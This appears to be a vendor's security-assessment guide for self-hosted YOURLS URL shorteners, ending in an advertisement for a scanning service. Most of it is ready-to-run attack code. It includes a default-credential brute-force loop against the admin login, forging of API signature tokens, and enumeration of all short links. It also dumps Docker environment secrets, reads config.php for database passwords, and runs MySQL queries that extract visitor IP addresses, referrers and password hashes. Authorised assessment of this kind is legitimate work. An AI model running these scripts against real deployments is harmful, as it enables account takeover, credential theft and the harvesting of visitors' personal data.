YOURLS (Your Own URL Shortener) is a widely deployed self-hosted PHP URL shortening platform — it is one of the oldest and most popular self-hosted URL shorteners. Key assessment areas: admin credentials control the entire platform; the signature token mechanism enables passwordless API authentication by computing an HMAC signature of the request — if signature tokens are exposed, full API access is possible without knowing the password; the MySQL database stores all shortened URL targets and click analytics including visitor IP addresses; and some deployments expose the admin panel without authentication. This guide covers systematic YOURLS security assessment.
# YOURLS — admin credential testing and panel access
YOURLS_URL="https://y.example.com"
# YOURLS admin panel — test common weak credentials
for CRED in "admin:admin" "admin:password" "yourls:yourls" "admin:yourls123"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESULT=$(curl -s -c /tmp/yljar -X POST "${YOURLS_URL}/admin/" \
-d "username=${USER}&password=${PASS}&action=login" \
-w "%{http_code}" -o /tmp/yl_out 2>/dev/null)
TITLE=$(grep -oP '\K[^<]+' /tmp/yl_out 2>/dev/null | head -1)
echo "${USER}/${PASS}: HTTP ${RESULT} - ${TITLE}"
done
# Check if YOURLS instance is public (no private mode)
curl -s -o /dev/null -w "%{http_code}" "${YOURLS_URL}/admin/" 2>/dev/null
# If 200 without redirect to login — YOURLS_PRIVATE is not set
# Check if API is accessible without authentication (stats)
# Some YOURLS versions/configs allow unauthenticated stats access
curl -s "${YOURLS_URL}/yourls-api.php?action=db-stats&format=json" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('statusCode') == 200:
stats = d.get('db-stats',{})
print(f'UNAUTHENTICATED ACCESS:')
print(f' Total links: {stats.get(\"total_links\")}')
print(f' Total clicks: {stats.get(\"total_clicks\")}')
elif d.get('statusCode') == 403:
print('Auth required')
" 2>/dev/null
# Admin API with credentials
curl -s "${YOURLS_URL}/yourls-api.php" \
-d "action=stats&limit=100&filter=last&format=json&username=admin&password=admin" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('statusCode') == 200:
links = d.get('links',{})
print(f'Links (status 200): {len(links)}')
for k, link in list(links.items())[:10]:
print(f' {link.get(\"shorturl\")} -> {str(link.get(\"url\",\"\"))[:80]}')
print(f' clicks={link.get(\"clicks\")} title={str(link.get(\"title\",\"\"))[:40]}')
" 2>/dev/null
# YOURLS signature token API authentication
YOURLS_URL="https://y.example.com"
# YOURLS signature token authentication — bypasses password requirement
# Signature is computed as: md5(timestamp . secret_key) where secret_key is user's YOURLS secret
# If a user's signature token is known, API access does not require password
# Generate signature token if secret key is known
import_python_auth() {
python3 -c "
import hashlib, time
# secret_key is the YOURLS user's 'secret' from the admin panel
SECRET_KEY='your-yourls-secret-key'
TIMESTAMP = str(int(time.time()))
SIG = hashlib.md5((TIMESTAMP + SECRET_KEY).encode()).hexdigest()
print(f'timestamp={TIMESTAMP}&signature={SIG}')
"
}
SIGPARAMS=$(import_python_auth 2>/dev/null)
# Use signature token to authenticate API
curl -s "${YOURLS_URL}/yourls-api.php?action=stats&limit=100&format=json&${SIGPARAMS}" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('statusCode') == 200:
print('SIGNATURE TOKEN VALID - API ACCESS GRANTED')
links = d.get('links',{})
print(f'Total links visible: {len(links)}')
for k, link in list(links.items())[:10]:
print(f' {link.get(\"shorturl\")} -> {str(link.get(\"url\",\"\"))[:80]}')
" 2>/dev/null
# Enumerate all short links via API
cursor=0
while true; do
RESP=$(curl -s "${YOURLS_URL}/yourls-api.php" \
-d "action=stats&limit=200&start=${cursor}&filter=last&format=json&username=admin&password=PASSWORD" 2>/dev/null)
COUNT=$(echo $RESP | python3 -c "import json,sys; d=json.load(sys.stdin); print(len(d.get('links',{})))" 2>/dev/null)
[ "$COUNT" -eq 0 ] && break
echo $RESP | python3 -c "
import json,sys
d=json.load(sys.stdin)
for k, link in d.get('links',{}).items():
print(f'{link.get(\"shorturl\")}|{link.get(\"url\")}|{link.get(\"clicks\")}')
" 2>/dev/null
cursor=$((cursor + 200))
done
# YOURLS MySQL database extraction
# Docker/environment credentials
docker inspect yourls 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['YOURLS','DB_','MYSQL','PASSWORD','SECRET']):
print(e)
" 2>/dev/null
# YOURLS_USER — admin username
# YOURLS_PASS — admin password
# YOURLS_DB_USER, YOURLS_DB_PASS, YOURLS_DB_NAME, YOURLS_DB_HOST
# YOURLS_SITE — base URL
# Read config.php if accessible
cat /var/www/html/user/config.php 2>/dev/null | \
grep -E "DB_|YOURLS_|define\s*\(" | head -20
# Contains YOURLS_DB_PASS and admin credentials
# MySQL — all YOURLS data
mysql -h localhost -u yourls -pPASSWORD yourls 2>/dev/null << 'EOF'
-- All shortened URLs with targets
SELECT url, keyword, title,
timestamp, clicks, ip
FROM yourls_links
ORDER BY timestamp DESC
LIMIT 30;
EOF
-- url: the full destination URL for each shortened link
-- keyword: the short code
-- ip: IP address of the user who created the shortened link
-- Click analytics with visitor data
mysql -h localhost -u yourls -pPASSWORD yourls 2>/dev/null << 'EOF'
SELECT click_time,
shorturl,
referrer,
user_agent,
ip_address,
country_code
FROM yourls_log
ORDER BY click_time DESC
LIMIT 30;
EOF
-- ip_address: visitor IP address for each click
-- referrer: full referring URL for each click
-- Admin options including hashed password
mysql -h localhost -u yourls -pPASSWORD yourls 2>/dev/null << 'EOF'
SELECT option_name, option_value
FROM yourls_options
WHERE option_name IN ('yoauth_users','yourls_user_passwords',
'active_plugins','yourls_secret_key');
EOF
-- yourls_user_passwords: PHP serialized array with credential hashes
| Security Test | Method | Risk |
|---|---|---|
| Admin credential brute force and panel access | POST /admin/ with username/password — access to full YOURLS admin panel enabling URL management, plugin installation, and user management; admin panel credential compromise gives full control of the URL shortening platform | High |
| Signature token API authentication bypass | Compute md5(timestamp + secret_key) — passwordless API authentication; requires secret_key from config.php or database; full API access to create, delete, and enumerate all short links | High |
| MySQL yourls_links target URL enumeration | SELECT url FROM yourls_links — all shortened URL destinations; reveals every URL shortened using the platform including private campaign URLs, internal tool links, and sensitive document URLs | High |
| Click analytics visitor IP extraction | SELECT ip_address FROM yourls_log — IP addresses of every visitor who clicked each short link; PII data enabling visitor identity tracking; referrer data revealing click context | Medium |
| config.php database credential exposure | Read /var/www/html/user/config.php — YOURLS_DB_PASS, YOURLS_SECRET, admin username/password hash; full database access and signature token computation capability | High |
Ironimo tests YOURLS deployments for admin credential brute force and panel access, signature token API authentication bypass via config.php secret key extraction, MySQL yourls_links complete URL target enumeration, yourls_log visitor IP address and referrer extraction, config.php database password and secret key disclosure, Docker YOURLS_USER/YOURLS_PASS/YOURLS_DB_PASS exposure, unauthenticated API stats access on misconfigured deployments, short code enumeration without authentication, plugin directory listing, and PHP error message information disclosure.
Start free scan